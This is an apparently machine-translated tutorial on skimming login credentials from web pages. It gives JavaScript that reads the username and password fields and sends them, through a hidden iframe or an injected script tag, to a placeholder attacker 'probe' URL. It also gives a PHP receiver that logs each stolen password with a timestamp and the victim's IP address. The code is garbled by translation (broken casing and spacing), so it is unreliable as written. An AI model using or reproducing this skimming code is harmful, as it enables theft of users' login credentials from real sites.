Most of the time, we need to capture the content of some input boxes written by JS Code. Because JS is parsed by the server in the previous section, PHP and ASP are parsed by the server, the data intercepted by JS must be transmitted to the background database through some methods. Therefore, it is natural that JS requests a background URL through the post or get method. However, such requests are asynchronous. If synchronous requests are made, the browser will jump to the probe link and cannot jump back.
Two methods are provided here. One is to use js to pop up an IFRAME sub-window with a length and width set to 0. In this way, I did not test the function successfully and waited for the correction by the gods. The other is the JS request URL script.
Method 1:
Create IFRAME subwindow in JS
VaR F = Document. createelement ("iframe"); F. Height = 0; f. width = 0; f. src = "http: // xxxxxxx/zlo. php? // Here is the probe address user = "+ document. login. User. Value +" & pass "+ document. login. Pass. value; document. Body. appendchild (f );
Method 2:
JS direct request URL
Function ADDR (user, pass )//?? {Var F = document. createelement ("script"); F. setattribute ("type", "text/XXXXX"); // in this way, the browser does not execute F as Js. setattribute ("src", "https: // XXXXX/zlog. PHP? User = "+ User +" & pass = "+ pass); setTimeout (" document. getelementsbytagname ('head') [0]. appendchild (f) ", 1000); // you need to pause for 1 second. If it is too fast, it will cause an error}
Then we can call our code in the JS submit response function.
ADDR (user name and password );
The last is the probe.
ASP, PHP, aspx, and CFM can all be used, that is, to receive the GET request variable. Here, PHP is used as an example:
<? PHP $ A =$ _ Get ['user']; $ B =$ _ Get ['pass']; $ fp = fopen ("C: \ test.txt ", "A"); fwrite ($ FP, $ A); fwrite ($ FP, "--"); fwrite ($ FP, $ B); fwrite ($ FP, "-"); date_default_timezone_set ('etc/GMT-8 '); fwrite ($ FP, date ("Y-m-d h: I: s ")); // time fwrite ($ FP, "\ t"); fwrite ($ FP, $ _ server ['remote _ ADDR ']); // ip address fwrite ($ FP, "\ n"); fclose ($ FP)?>
Cainiao's remarks are for entertainment only.